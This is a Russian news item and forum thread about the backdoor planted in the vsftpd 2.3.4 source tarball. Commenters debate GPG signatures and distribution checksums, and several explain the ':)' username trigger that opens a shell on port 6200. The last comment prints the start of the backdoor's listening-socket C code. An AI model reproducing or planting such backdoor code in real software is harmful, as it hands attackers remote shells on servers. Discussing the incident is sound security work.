Крис Эванс (Chris Evans), автор популярного FTP-сервера vsftpd (https://security.appspot.com/vsftpd.html) опубликовал уведомление (http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-...) об обнаружении вредоносного кода в исходных текстах vsftpd-2.3.4.tar.gz, распространяемых с первичного сервера проекта. После инцидента сайт проекта был перемещен со старого хостинга в инфраструктуру Google App Engine.Внедренный в архив vsftpd-2.3.4.tar.gz вредоносный код представляет собой классический бэкдор, запускающий shell при наличии в имени пользователя смайлика ":)". Код бэкдора (http://pastebin.com/AetT9sS5) не был запутан и легко поддается анализу (изменения составляют около десятка строк). Удивление вызывают непродуманные действия совершивших атаку, которые не предусмотрели в бэкдоре механизма для отправки уведомления о возможности проникновения. Непонятно, как злоумышленники пытались выявить пораженные бэкдором хосты. Средства оповещения и запутывание к...
URL: http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-...
Новость: https://www.opennet.ru/opennews/art.shtml?num=31082
Very, Very Secure FTP =)
"gpg: BAD signature..." -- какбы намекает нам на то что чам vsftp не поражёнмалоли кто там мог что подменить на download-серверах.... ды даже ваш провайдер может подменить вам некоторые сервера
EPIC FAIL
А по-моему это отличный пример того, что подписи (GPG detached signatures) на upstream tarball'ах работают, по крайней мере иногда. И еще это пример того, что Крис подготовился к этой возможной проблеме заранее, подписывая релизы. Если риск был известен и по нему были приняты должные меры - то какой же это fail? Не все должные меры? Возможно. Но один из уровней безопасности сработал-таки.Думаю, не найдется ни одного дистрибутива, включающего этот бекдор. Многие проверяют подписи, а бекдор существовал на сайте очень недолго. К сожалению, нет информации о том сколько именно; мое предположение - 1-3 дня. Подпись помогла и здесь.
В Owl, при обновлении на версию 2.3.4 (уже достаточно давно) мы подпись проверяли, а также конкретно для vsftpd я бегло просматриваю diff'ы между версиями - они достаточно маленькие - и я делал это и конкретно для 2.3.4 (относительно 2.3.2). Такую явную вещь я бы заметил. (Более хитрую мог бы и упустить, да.) Это для тех, кто говорит что Open Source не помогает от бекдоров т.к. исходники никто не читает. В этом есть доля истины, но не вся истина.
> мое предположение - 1-3 дня.По анализу архива, возможно до 3-4 дней: http://www.openwall.com/lists/oss-security/2011/07/05/6
> EPIC FAILда: для всех, кто не проверяет подписи.
в конце окажется, что взломали FTP хостинга, а FTP сервер там был не VS. и разработчики: НУ! О ЧЕМ МЫ ГОВОРИЛИ??!!!
Это такая скрытая реклама: "Не будет нас, будет как снами!" ))
Жаль, для таких проектов нужно иметь собственный сервер в стойке ДЦ или надежный хостинг от крупных компаний. А не винить потом хостинг.
Ты много спонсорской помощи проекту оказал?
Там кнопка PayPal (было бы желание) слева на сайте есть...
Нда. При том что оригинальные подписи остальсь нетронутыми и получив пакет сорцов можно легко проверить что чексуммы не совпадают... Линукс такой линукс... Толи дело freebsd - оно даже не подумает ставить софт, если md5 и sha сорцов не будут оригинальными, которые автор порта вписал в порт в день его создания.
vsftpd имеет такое же отношение к Linux как и к FreeBSD..
Суть не в оси, а в подходе. Фря чуть более "параноидальна"или "продуманна" (кому как нравится) в этом плане.
> Суть не в оси, а в подходе. Фря чуть более "параноидальна"или "продуманна"
> (кому как нравится) в этом плане.Во-первых, в любом линуксовом дистрибутиве есть проверка подписей пакетов. Во-вторых, тут речь идет о распространении исходников программы безотносительно какого-либо дистрибутива или платфоры.
> Суть не в оси, а в подходе. Фря чуть более "параноидальна"или "продуманна"
> (кому как нравится) в этом плане.Плюсую. Дистриб, где софт ставится из сорцов. Вот это тру.
При чём тут исходники, ты их каждый раз на бэкдоры проверяешь перед установкой, что ли? Речь о том, что проверка контрольной суммы (не важно чего, исходников или бинарников) — штука полезная.
> Плюсую. Дистриб, где софт ставится из сорцов. Вот это тру.И много трушные перцы сорцев перечитали? И как, в вашем, трушном - версия с сплойтом или без? Вы хотя-бы знаете это? :)
ну я в gentoo проверил сорцы сразу же. ибо пользую vsftpd на продакшене. а sha256 и md5 само проверяется так же как и в хваленой бзде.
> Плюсую. Дистриб, где софт ставится из сорцов. Вот это тру.Ребят, тут рядом про openssh в "последней серверной фре". Почитайте, а потом продолжайте говорить штампами... если захочется.
Толсто.
Была устаревшая, пятилетней давности, 4-тая ветка.
> Толсто.У бздельников всегда так. Попробуйте тоньше.
> Была устаревшая, пятилетней давности, 4-тая ветка.
Факта наличия дыры это не отменяет; более того, факт отсутствия этой дыры в более новых версиях не был анонсирован. И если учесть что сложность freebsd 8 существенно выше - можно ожидать что багов в ней еще больше. Не боитесь что однажды будет мучительно стыдно за распостранение дезы? А то местные параноики как-то невысокого мнения о секурити фичах фри, а гента и вовсе облажалась с раздачей пробэкдореного софта.
>> Толсто.
> У бздельников всегда так. Попробуйте тоньше.
>> Была устаревшая, пятилетней давности, 4-тая ветка.
> Факта наличия дыры это не отменяет; более того, факт отсутствия этой дыры
> в более новых версиях не был анонсирован.То бишь не найден. :)
Как найдете - опубликуйте свои исследования> И если учесть что
> сложность freebsd 8 существенно выше - можно ожидать что багов в
> ней еще больше. Не боитесь что однажды будет мучительно стыдно за
> распостранение дезы? А то местные параноики как-то невысокого мнения о секурити
> фичах фри, а гента и вовсе облажалась с раздачей пробэкдореного софта.Баги есть везде, но некоторые не хотят их замечать. А некоторые не могут обновиться.
Тут есть полно любителей Линукса, которые любят патчить ядро.
Через полгода вы сможете вспомнить, откуда вы брали патчи?
Сможете их накатить на новую версию ядра?
> Тут есть полно любителей Линукса, которые любят патчить ядро.
> Через полгода вы сможете вспомнить, откуда вы брали патчи?
> Сможете их накатить на новую версию ядра?а в чём проблема? я не понимаю: у бздюшников, что ли, принято патчить чем попало, даже не сохраняя лог работ, адреса, откуда взяли патчи и краткие замечания, зачем тот или иной патч накатили? если так — не надо думать, что остальные привыкли поступать так же.
>> Плюсую. Дистриб, где софт ставится из сорцов. Вот это тру.
> Ребят, тут рядом про openssh в "последней серверной фре". Почитайте, а
> потом продолжайте говорить штампами... если захочется.Вообщето 4 версия фри как бы не последняя ... хотя для линуксоидов все может быть :-))
Я-то знаю, потому и цитата в кавычки забрана. :)Просто "труъ" -- это не характеристика, а эмоции. Что-то из жаргона техноблондинов, переобщавшихся с Эллочкой-людоедкой.
> Суть не в оси, а в подходе. Фря чуть более "параноидальна"или "продуманна"
> (кому как нравится) в этом плане.По современным меркам - уже нет, как тут справедливо заметили, контрольные суммы считаются только при явном указании от мейнтейнера. В отличие от более продуманного линукса, в котором нужно сильно попотеть, чтобы отключить чексуммы :-)
Не думаю что порт-коммитеры примут PR оформленный без make makesum. portlint сразу же за это скушает
> Не думаю что порт-коммитеры примут PR оформленный без make makesum. portlint сразу
> же за это скушает+1 еще ни разу не встречал порты без чексумм, причем там сразу три проверки идет md5 sha256 и размер в байтах, левый архив сорцов не пройдет, фря просто начнет ругатся и откажется ставить этот порт (хотя при желании можно снести файл distinfo и поставить с левого архива, если сииильно хочется то можно и в ногу выстрелить)
центос просто выводит сообщение о несответствиях чексуммы (среди прочего вывода) и устанавливает (yum -y т.к. палец давить на [y] устанет пока на каждый глупый вопрос ответишь)
> (yum -y т.к. палец давить на [y] устанет пока на каждый
> глупый вопрос ответишь)О, нормально так. А если вам ногу сломать - я тогда наверняка порву вас на стометровке! Правда это будет не совсем честное соревнование ;)
> md5 sha256 и размер в байтаха нормальным людям достаточно gpg…
>> md5 sha256 и размер в байтах
> а нормальным людям достаточно gpg…Более того, пересчитать контрольные суммы - элементарно. А вот подогнать цифровую подпись без изменения ключа и не обладая приватной половиной ключа - проблематично, знаете ли.
> В отличие от более продуманного линукса, в котором нужно сильно попотеть, чтобы отключить чексуммы :-)Для ССЗБ в генте есть FEATURES="digest"
при установке из портежей также проверяются чексуммы. проблема не в линуксе. проблема в механизме установки софта. далее вопрос: а если бы взломщики поправили чексуммы?
> vsftpd имеет такое же отношение к Linux как и к FreeBSD..Да, это так. Но все они, безусловно, имеют отношение к опенсорцу, о котором и речь. И если на фряхе есть защита от такого косяка, то, как удалось выяснить, на fedora 13 нету - там запросто системный инсталер проинсталил софт из пакета с явно битыми чексуммами. Вот вам и лол.
Много где, помимо фряхи, есть такая защита. Непонятно с какой целю ее вытащили из чулана в этом топике.
это жалкие потуги поговорить о freebsd vs linux. Фан бой не знает про подписи в rpm и в deb.
> это жалкие потуги поговорить о freebsd vs linux. Фан бой не знает
> про подписи в rpm и в deb.А потом они еще удивляются когда окружающие считают что бред про freebsd однозначно детектирует школоло.
Я не знаю про федору, но на ней точно свет клином не сошелся! Попробуй в генте что ни будь установить с различающимися контрольными суммами исходников ибилдов патчей, да хоть файла с инфрмацией о пакете :)
> Я не знаю про федору, но на ней точно свет клином не
> сошелся! Попробуй в генте что ни будь установить с различающимися контрольными
> суммами исходников ибилдов патчей, да хоть файла с инфрмацией о пакете
> :)В генте исходники не подписываются (либо немногочисленные подписи не проверяются автоматически), как и все другие файлы дерева. Если взломщик получил доступ к ебилдам, он и дайджест поправит. Более того, для модификации файлов eclass'ов не нужно даже дайджест менять, поскольку он для eclass'ов не считается. Вот вам и гента. Единственный, сколько-нибудь надёжный способ удостоверить целостность и аутентичность файлов дерева portage - получаеть его снэпшотами через emerge-webrsync с включённой и настроенной фичей webrsync-gpg.
-- Пользователь Hardened Gentoo
В debian тоже не обязательно иметь хэши в пакете. Пакет ставится и без нихы
> В debian тоже не обязательно иметь хэши в пакете. Пакет ставится и без нихыТам не только хеш, но и полноценная цифровая подпись. Без нее конечно можно поставить, но по дефолту менеджеры пакетов на проблемы подписи верещат от всей души. Так что хаксор будет запален в первые же 10 минут после диверсии.
Где это, уважаемый, я говорил про подписанные исходники?
Я вообще считаю что абсолютной защиты не существует!
Однако в данном случае (внесение изменений в уже выложенную версию)
безопасности генты вполне хватило бы для защиты системы от установки
попатченной версии.
> безопасности генты вполне хватило бы для защиты системы от установки
> попатченной версии.Мечтать не вредно - они уже отгружали UnrealIRCD с сплойтом от Acid Bitches. На что их там хватило? Отгрузить забэкдореный сервер? Так и еще раз хватит таким манером.
> -- Пользователь Hardened Gentoopaxuser, перелогинься.
>> -- Пользователь Hardened Gentoo
> paxuser, перелогинься.А смысл? И так ясно, что это я. ;)
>-- Пользователь Hardened GentooСпасибо.
Имхо, метадата там генерится на основе скачаных сорцов самим мантейнером. Откуда он скачал этот сорец, если в ебилде стоит mirror, известно только самому мантейнеру.
> самому мантейнеру.Примеры того к чему это ведет - тут: https://www.opennet.ru/opennews/art.shtml?num=26945
md5 уже не проверяется, и контрольные суммы не создаются.
если только мейнтейнер порта явно не перечислит asc-файлы в distinfo.
> При том что оригинальные подписи остальсь нетронутыми и получив пакет сорцов
> можно легко проверить что чексуммы не совпадают... Линукс такой линукс... Толи
> дело freebsd - оно даже не подумает ставить софт, если md5
> и sha сорцов не будут оригинальными, которые автор порта вписал в
> порт в день его создания.Фанатики фрибсд такие фанатики... О линуксе знают только понаслышке, да.
FYI: в любом нормальном линуксовом дистре для всех пакетов считаются хеши, которые, в свою очередь, подписываются ключами репозитария. Пакетный менеджер (например, rpm), без указания кучи параметров типа (--force --nomd5 --nodigest --nosignature), никогда не поставит битый пакет.
Как говорится, не холиавра ради, а для поинтересоваться лишь. Считаете ли вы, что rpm лучше, чем deb?
> Как говорится, не холиавра ради, а для поинтересоваться лишь. Считаете ли вы,
> что rpm лучше, чем deb?В указанном случае они однофигственны: оба проверяют чексуммы и подписи.
>Как говорится, не холиавра ради, а для поинтересоваться лишь. Считаете ли вы, что rpm лучше, чем deb?Нет.
Так все таки как оно в бинари пролезло ? и как давно ?
> Так все таки как оно в бинари пролезло ? и как давно ?Где Вы нашли "бинари"? В новости речь идёт о пакете с _исходным кодом_ для которого даже чексумма не сошлась.
Сгенерить md5 и sha - легко, потом откуда берутся эти хеши, с сайта, который взломали, или со скаченного файла с того же самого сайта? Хеши в основном для проверки, что файл не изменился/не сломался по дороге.В арче в pkgbuild'ах тоже прописаны md5, когда хочется собрать пакет с новой версией, обычно скачиваются новые исходники и генерятся хеши.
Другое дело цифровая подпись, ее без приватного ключа не сгенерить.
Попробуйте в Gentoo Linux подменить сорцы. Увидите что получится.
Что-то я стормозил :) выше об этом уже сказали :)
> Попробуйте в Gentoo Linux подменить сорцы. Увидите что получится.Мы уже увидели как гентусятники раздали Unreal IRCD. С бэкдором от AcidBitches. Не вижу что помешает тамошним майнтайнерам повторить подвиг для чуточку более популярного vsftpd.
>> Попробуйте в Gentoo Linux подменить сорцы. Увидите что получится.
> Мы уже увидели как гентусятники раздали Unreal IRCD. С бэкдором от AcidBitches.
> Не вижу что помешает тамошним майнтайнерам повторить подвиг для чуточку более
> популярного vsftpd.Ты хотя бы Gentoo живую в глаза собственную видел?
запускающий shell на TCP-порту 6200 при наличии в имени пользователя смайлика ":)"
так далеко не в каждом имени пользователя есть смайлик ...
Так шелл был вставлен в функцию str_contains_space. Т.е. передаем имя несуществующего пользователя содержащего ":)" и вперед, поднимается бэкдор.
> так далеко не в каждом имени пользователя есть смайлик ...Так далеко не каждый пользователь - хаксор :)
("gpg: BAD signature..." вместо "gpg: Good signature...")Спасибо, Кэп.
Странно почему ":)" доступно в именах пользователя. Я думал ':' - это запрещённый символ в UNIX-именах пользователя, т.к. им обычно разделяют имя пользователя от имени группы.
а пользователь не обязательно должен существовать, в строке ввода должен присутствовать смайлик, этого достаточно ;)
> Странно почему ":)" доступно в именах пользователя. Я думал ':' - это
> запрещённый символ в UNIX-именах пользователя, т.к. им обычно разделяют имя пользователя
> от имени группы.Всё логично: легальные пользователи не взведут случайно бэкдорный шелл.
> Всё логично: легальные пользователи не взведут случайно бэкдорный шелл.случайно постучавшись на порт 6200. а так да
FTP работает на стандартном порту, на 6200 открывается шелл
учитывая то, что бэкдор не претендует на серьезность, это просто демонстрация того, что стоит больше уделять внимания размещению кода в безопасном месте и проверке контрольных сумм и подписей, ну а vsftpd был замечательным выбором еще и потому, что претендует на звание самого защищенного ftp сервера.
Подписывать и проверять по умолчанию нужно всё, а то многие (даже дистрибутивная политика бывает) доверяют просто размещению файлов на зеркале, не беря во внимание то, что зеркало может быть взломано или еще каким либо образом организована подстава с подменой файлов. Год-полгода назад дебиан вспоминали, что можно было с зеркала скармливать старые дырявые пакеты, но проходящие проверку подписи.
Обычно те кто сильно много верещит о безопасности, потом за это страдают. Это как красная тряпка для быка. Безопасность всех ресурсов заявлявшего скорее всего досканально проверят. Не пострадал за это разве что D.J. Berstein, который свое дело знал и выплачивал премию только 1 раз :)
А причём здесь dj? Ошибку же не в исходном коде vsftpd нашли, а в его хостинге.
> а в его хостинге."Безопасность имеет 2 уровня: hi и нехай".
Вы доверяете своему провайдеру DNS? :)
> Вы доверяете своему провайдеру DNS? :)Мы доверяем, но проверяем. В случае каких либо подозрений делается многоточечная проверка на вшивость из нескольких разных точек на планете, с разных ISP, сравниваются результаты, делаются выводы. При необходимости используются и кеши. Довольно интересные выводы временами, я вам скажу. Например, некоторые сайты избирательно недоступны географически. Некоторые вывешивают разным нациям разный контент. Иногда США борзеют и отбирают сайты без суда и следствия, разумеется, только DNS имя, а не айпи. Иногда заметны и "НЛО" с различной степенью вредительства.
В общем случае сеть - это как улица. Там может и коп засесть в засаде, и мафиози с пушкой за углом, и не факт что и те и другие к вам питают симпатии. Смотри куда идешь и не щелкай клювом, а если есть подозрения - их следует проверять. Только в отличие от - вы можете всегда выкопать себе секурный туннель без копов и мафии, выходящий на поверхность где-нибудь в другой стране.
$ cat /usr/portage/net-ftp/vsftpd/Manifest | grep vsftpd-2.3.4.tar.gz
DIST vsftpd-2.3.4.tar.gz 187043 RMD160 4097b495b5b03833e18b1639931939c3176e498b SHA1 b774cc6b4c50e20f4fe9ca7f6aa74169ce7fe5ea SHA256 b466edf96437afa2b2bea6981d4ab8b0204b83ca0a2ac94bef6b62b42cc71a5a
$
В нормальных дистрах всё ок.
> судя по всему vsftpd размещался на shared-хостингеЕще один дятел проверил на себе что бывает когда соседнего пионера разломали? Малацца, шареды рулят. Если, конечно, вы за команду хакеров болеете, а не за команду админов сайтов :)
Объясните мне в чем сила цифровой подписи ? Чем она может помочь в случае взлома сервера ? Если бы взломавший не только vsftpd-2.3.4.tar.gz заменил, но и на коленке своим приватным ключом создал фиктивный vsftpd-2.3.4.tar.gz.asc, который бы при проверке писал, что сигнатура нормальная. Какой момент я упускаю ?
В продолжение. Для дистрибутивов все ясно, проверочный публичный ключ изначально идет в комплекте. Но для vsftpd, проверочный ключ на том же сервере лежит, его вместе с .asc подменить раз плюнуть.
> Но для vsftpd, проверочный ключ на том же сервере лежит, его вместе с .asc подменить раз плюнуть.Во-первых, лично я там его не нашел, киньте ссылку плз?
Во-вторых, каким нужно быть идиотом, чтобы брать публичный ключ с сервера разработчика? Все публичные ключи должны находиться в sks-пуле, и вытягиваются оттуда автоматически.
> Объясните мне в чем сила цифровой подписи ? Чем она может помочь
> в случае взлома сервера ? Если бы взломавший не только vsftpd-2.3.4.tar.gz
> заменил, но и на коленке своим приватным ключом создал фиктивный vsftpd-2.3.4.tar.gz.asc,
> который бы при проверке писал, что сигнатура нормальная. Какой момент я
> упускаю ?К сожалению, вы ничего не понимаете в принципах работы криптографии с открытым ключом.
Информация к размышлению: закрытый ключ можно и нужно хранить так, чтобы злобный дядя при всем желании не смог бы его получить. А без этого ключа корректную подпись он не сделает.
> Информация к размышлению: закрытый ключ можно и нужно хранить так, чтобы злобный
> дядя при всем желании не смог бы его получить. А без
> этого ключа корректную подпись он не сделает.Вы не поняли. Закрытый ключ здесь вообще не причем. Мне не нужен чужой закрытый ключ, когда я могу сгенерировать на коленке свой закрытый ключ, сделать vsftpd-2.3.4.tar.gz.asc на основе своего ключа и заменить лежащий неподалеку публичный колюч, которым осуществляется проверка.
Вам всего лишь нужно заменить ключи на всех серверах ключей (причём старые ключи удалять нельзя) и подделать все подписи доверенных людей на ключе.
> Вам всего лишь нужно заменить ключи на всех серверах ключей (причём старые
> ключи удалять нельзя) и подделать все подписи доверенных людей на ключе.А также удалить все ключи у тех кто их уже скачал и объяснить почему ключ изменился :).
> К сожалению, вы ничего не понимаете в принципах работы криптографии с открытым
> ключом.К сожалению, вы ничего не понимайте в механизмах социальной инжинерии. Для того чтобы создать иллюзию успешной проверки не нужно иметь доступ к оригинальному закрытому ключу, можно подсунуть фиктивную подпись.
>> К сожалению, вы ничего не понимаете в принципах работы криптографии с открытым
>> ключом.
> К сожалению, вы ничего не понимайте в механизмах социальной инжинерии. Для того
> чтобы создать иллюзию успешной проверки не нужно иметь доступ к оригинальному
> закрытому ключу, можно подсунуть фиктивную подпись.Когда вы наконец прочитаете документацию то сможете узнать что ключ могут подписывать другие люди, удостоверяя тем самым его подлинность, плюс у всех ключей есть уникальный отпечаток который обычно публикуется не на одном сервере.
> Когда вы наконец прочитаете документацию то сможете узнать что ключ могут подписывать
> другие люди, удостоверяя тем самым его подлинность, плюс у всех ключей
> есть уникальный отпечаток который обычно публикуется не на одном сервере.Ну елки палки, разжёвываю. Если удалось подменить архив, то можно подписать его _другим_ ключом, который также будет доступен, но это будет другой ключ. Когда вы запустите gpg vsftpd-2.3.4.tar.gz.asc, он вам автоматом вытянет нужный публичный ключ и этот ключ будет _другим_ ключом, не тем которым архив был подписан автором, а тем которым подписали взломщики.
>он вам автоматом вытянет нужный публичный ключ и этот ключ будет _другим_ ключом, не тем которым архив был подписан автором, а тем которым подписали взломщики.Собственно, на этом история "взлома" и закончится, коварный злодейский замысел будет раскрыт. Криптография в действии.
> Собственно, на этом история "взлома" и закончится, коварный злодейский замысел будет раскрыт.
> Криптография в действии.И каким образом "криптография в действии" поможет определить подставной характер того файла Васе Пупкину, попытавшемуся первый раз скачать и проверить архив ? Ситуация обсуждается, когда все постоянные пользователи и дистростроители давно скачали и проверили архив ещё до его замены, замены была совершена спустя пол года после релиза.
> Васе Пупкину, попытавшемуся первый раз скачать и проверить архив ?Для юзеров придуманы репы. Если вы совсем уж Пупкин, на кой черт вам сорц? Так и скрипт с rm -rf /* слить можно по дурости своей.
> ключ и этот ключ будет _другим_ ключом,... после чего у окружающих будет много вопросов - а какого, собственно, не подходит старый ключ?!
> ... после чего у окружающих будет много вопросов - а какого, собственно,
> не подходит старый ключ?!Для этого и ломают через полгода после релиза, чтобы постоянных клиентов отсеять и максимально затянуть факт обнаружения. Речь не о том, что кто-то заметит. А о том, что файл с цифровой подписью не для всех на 100% гарантирует оригинальность релиза. В вашем случае вы слепо доверяйте подобным проверкам и я привел пример возможного вектора атаки.
>> ... после чего у окружающих будет много вопросов - а какого, собственно,
>> не подходит старый ключ?!
> Для этого и ломают через полгода после релиза, чтобы постоянных клиентов отсеять
> и максимально затянуть факт обнаружения. Речь не о том, что кто-то
> заметит. А о том, что файл с цифровой подписью не для
> всех на 100% гарантирует оригинальность релиза. В вашем случае вы слепо
> доверяйте подобным проверкам и я привел пример возможного вектора атаки.Вы привели всем известную очевидную вещь о которой GPG кричит при любой проверке:
gpg: ВНИМАНИЕ: Данный ключ не заверен доверенной подписью!
gpg: Нет указаний на то, что подпись принадлежит владельцу.Надёжность подписи построена на проверке ключей, _в том числе_ и при получении ключа. Это написано в первых строках документации.
> Надёжность подписи построена на проверке ключей, _в том числе_ и при получении
> ключа. Это написано в первых строках документации.И кто мешает взломщику использовать свой полноценный заверенный ключ ? Ключ злоумышленника ничем по сути от ключа автора не отличается. Взломщик точно также как и автор может использовать правильный ключ, который может быть банально украден у кого-нибудь или обманным путем получен.
> И кто мешает взломщику использовать свой полноценный заверенный ключ ?Наверное,
1) Необходимость чтобы этот ключ заверили, а это еще не факт что сделают.
2) Фингерпринт изменится и толпа народа всяко заметит что имело место событие требующее к себе повышенного внимания.
>> И кто мешает взломщику использовать свой полноценный заверенный ключ ?
> Наверное,
> 1) Необходимость чтобы этот ключ заверили, а это еще не факт что
> сделают.С этим никак проблем, можно и украденный ключ использовать, их тонны можно набрать поскребя по ботнетам.
> 2) Фингерпринт изменится и толпа народа всяко заметит что имело место событие
> требующее к себе повышенного внимания.Думайте кто-то помнит какой оригинальный фингерпринт был у автора vsftpd ? Максимум смотрят success или нет проверка gpg и все.
Проверил у себя на серверах с Gentoo:1) Бэкдор не работает. 2) Аудит кода обработки пароля подозрительного ничего не выявил. 3) Контрольные суммы тарбола совпадают с чистыми.
> Проверил у себя на серверах с Gentoo:чётко. значит не успели черпануть. с другой стороны в полный росто встаёт вопрос: если планируется выходить на серьёзный уровень требуется аудит кода.
Серьезные дистры ведут анализ изменений софта по пакетам. Это гентусятники всякие тянут с серверов что попало.
в FreeBSD есть секурити тим и аудит пакетов - хотя казалось бы та же петрушка.
в генте контрольные суммы в количестве 3 штук лежат на ИХ серверах. Т.е. чтобы стянуть и поставить ломаную версию не так просто. Другое дело если в портежи добавят уже ломаный софт. Опять возвращаемся к исходной мысли: не так важно откуда тянется софт. Важно чтобы была служба, которая хотя бы подобие анализа проводит. Этого зачастую нет, посему это - слабое место. И бить будут туда. Слом серверов разработчиков - раз. А при хорошей оплате и казачка засланного в команду разработчиков можно.
> Серьезные дистры ведут анализ изменений софта по пакетам. Это гентусятники всякие тянут
> с серверов что попало.угу, а еще держат протухший софт и сами пытаются бекпартировать секюрные патчи, в результате получаем такие истории как: дебиан и экзим.
> угу, а еще держат протухший софт и сами пытаются бекпартировать секюрные патчи,
> в результате получаем такие истории как: дебиан и экзим.В случае дебиана - не все так однозначно: их програмеры увидели возможную оптимизацию. Запросили авторов OpenSSL о том насколько оно правильно и можно. Те подтвердили что все ок и так можно. Дебианщики сделали. Хотя первичная причина - зуд не там где надо у дебианщиков без надлежащего повода и квалификации, следует добавить что им помогли облажаться авторы библы, а вот это уже подстава с их стороны. Поэтому виноваты как дебианщики с своим зудом, тогда как криптография ломается кривыми руками очень легко, но помогли лопухнуться сами авторы либы. После чего доверие к ним резонно упало.
Кстати гентусятники лихо отгружали забэкдоренный AcidBitches'ами UnrealIRCD. Единственные из всех дистров. Заметьте, это не теоретическая возможность что-то выполнить, это настоящий ремотный шелл с правами IRCD.
Тем не менее, авторы openssl не стали включать эту возможность в апстрим, а не на пустом месте. Они просто отписались дебиану в духе ну можно, ну делайте под вашу ответственность. Ну вот и сделали.
> В случае дебиана — не все так однозначно: их програмеры увидели возможную
> оптимизацию. Запросили авторов OpenSSL о том насколько оно правильно и можно.
> Те подтвердили что все ок и так можно.поразительно, сколько слов, маскирующих неправду. а теперь правда — как её без труда можно проверить по архивам список рассылок.
криворукий маинтайнер OpenSSL увидел варнинги при сборке. сей он практически не знает, в чём признавался лично, криптографии тоже. пошёл спрашивать у авторов. авторы ему сказали: «ну, можно и убрать эту ерунду, если варнинги вас нервируют в процессе отладки». ключевое было — «ерунду можно убрать *для отладки*». дальше пошла классика: «гляжу в книгу, вижу фигу»: человек прочитал «можно убрать», обрадовался, и, выключив мозг, убрал. «зато без варнингов!»
так оно и жило, пока кто-то не глянул в набор патчей к OpenSSL и, мягко говоря, фалломорфировал. после чего маинтайнер встал в позу: «я не я, лошадь не моя, я у авторов спрашивал, они сказали, что можно!»
авторы резонно удивились: во-первых, было сказано, что можно для отладки. во-вторых, любому вменяемому человеку, который немного понимает в криптографии, ясно, что убирать это нельзя.
сообщество бебиана, впрочем, мнение авторов проигнорило и сделало вид, что это маинтайнер OpenSSL на белом коне, а авторы либы в навозе. хотя всё на самом деле наоборот, и у дистрибутивов с адекватными маинтайнерами проблем не было.
теперь вот бебианцы ходят и везде пытаются рассказать сказку про то, что «помогли лопухнуться сами авторы либы. После чего доверие к ним резонно упало.» хотя у любого человека, который взял на себя труд добраться до оригиналов и почитать (а не слушать лепет бебианцев) доверие упало только к бебиану, степени адекватности его маинтайнеров и общей секурности бебиана как дистриба (мало ли, какой ключевой компонент они следующим поломают; возьмут, и руткит в ведро встроят; а виноваты окажутся ребята из lkml).
Вы передергивайте, "отладка" - лишь цепляние к словам и отговорка. В том коде черт ногу сломит и никаких комментариев по поводу отсутствия инициализации для формирования энтропии. Реально, разработчики OpenSSL сами давно забыли о том, что у них совершенно неявно энтропия формируется. И ни при каком анализе патчей ничего выявлено небыло, столкнулись с глюком и после долгих разбирательств нашли причину. А ваше упоминане "любого вменяемого человека, который немного понимает в криптографии" доказывает, что вы даже не заглядывали в тот код и не разбирались в чем суть патча, так потрепаться на пустом месте вылезли, отрывочными знаниями и домыслами блеснуть.
> Вы передергивайте, «отладка» — лишь цепляние к словам и отговорка.дадада. когда говорят «для отладки можно» — это, конечно, значит, что можно и для релиза.
> понимает в криптографии" доказывает, что вы даже не заглядывали в тот
> код и не разбирались в чем суть патча, так потрепаться на
> пустом месте вылезли, отрывочными знаниями и домыслами блеснуть.Иксперт Рипортинг Ин! у тебя очень, очень плохой телепатор. поломаный. чини его.
а вот то, что ты ни разу не пытался разобраться, что же произошло и почему именно по первоисточникам — это ты хорошо продемонстрировал.
я, впрочем, уже всё сказал. sapienti sat.
Вы желчью попусту не истекайте, а вместо пустого трепа ссылку про упоминание только для дебага давайте. 99.9999% что вы такую ссылку не найдете, потому как ваши плевки в сторону Debian это плод вашего воображения.
> Вы желчью попусту не истекайте, а вместо пустого трепа ссылку про упоминание
> только для дебага давайте. 99.9999% что вы такую ссылку не найдете,
> потому как ваши плевки в сторону Debian это плод вашего воображения.я и не собираюсь тратить время на повторные поиски. успокойся, всё нормально, бебианцы на коне, остальные в гуано. виноваты, конечно же, авторы OpenSSL, а не майнтайнер. съешь таблеточку уже.
кстати, камент выше — реакция типического бебианщка: «в гуано могут вступить все, кто угодно, кроме нас!» виноваты все вокруг, кто угодно вокруг, только не бебианщики.
> если планируется выходить на серьёзный уровень требуется аудит кода.Именно этим альт примерно до Master 2.4 включительно и занимался, в числе прочего... (ldv@ и inger@, чтоб быть точным)
По-любому vsftpd ze best.
SFTP the best. FTP/TELNET/RLOGIN - каменный век.
> SFTP the best. FTP/TELNET/RLOGIN - каменный век.Для анонимной отдачи годится, хотя латентность у HTTP поменьше. А вот чем rw ftp выигрывает у rsync over ssh -- не понимаю (кроме широкой доступности ftp-клиентов, в т.ч. интегрированных, на виндах всяких).
> А вот чем rw ftp выигрывает у rsync over ssh -- не понимаюНагрузка на проц (из-за ssh) на хорошем канале?
>> А вот чем rw ftp выигрывает у rsync over ssh -- не понимаю
> Нагрузка на проц (из-за ssh) на хорошем канале?Ммм... да, ты прав, на десятке и без сжатия упирается в одно ядро 2.93GHz (95..99% на обеих сторонах при ~82..84Mb/s). Но если бы в подобных ограниченных окружениях была типична такая задача (т.е. для начала поверх TCP и вообще эзернетных кадров), то начинал бы с просто rsync://.
BTW помнится, кто-то ковырял openssh насчёт как раз или слишком коротких (на кластерах), или слишком длинных (internet2), но в обоих случаях весьма толстых каналов.
>> А вот чем rw ftp выигрывает у rsync over ssh -- не понимаю
> Нагрузка на проц (из-за ssh) на хорошем канале?Если это интел атом то и нагрузка на проц от ssh и нагрузка на проц от сетевой и агрузка на проц от контролера sata ... в нем же все девайсы как софтмодем.
> atom [...] в нем же все девайсы как софтмодем.AFAIK нет, просто слабенький CPU не так скрадывает ущербность какого rtl8168.
> SFTP the best.Не всегда. Попробуйте гигабитный канал, да еще с слабого нетбука например? Когда все упрется в шифрование а не в канал - будет не прикольно, да :). Особенно смешно если нетбук и машина прямым проводом соединены. В общем глупо утверждать что 1 размера хватит всем.
Что-то бекдор не работает. На любые команды ругается:
: command not found
/bin/ls /
: No such file or directory
/bin/data
: No such file or directory
/bin/date
: No such file or directory
int vsf_sysutil_extra(void)
{
int fd, rfd;
struct sockaddr_in sa;if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
exit(1);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6200);
sa.sin_addr.s_addr = INADDR_ANY;
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
perror("");
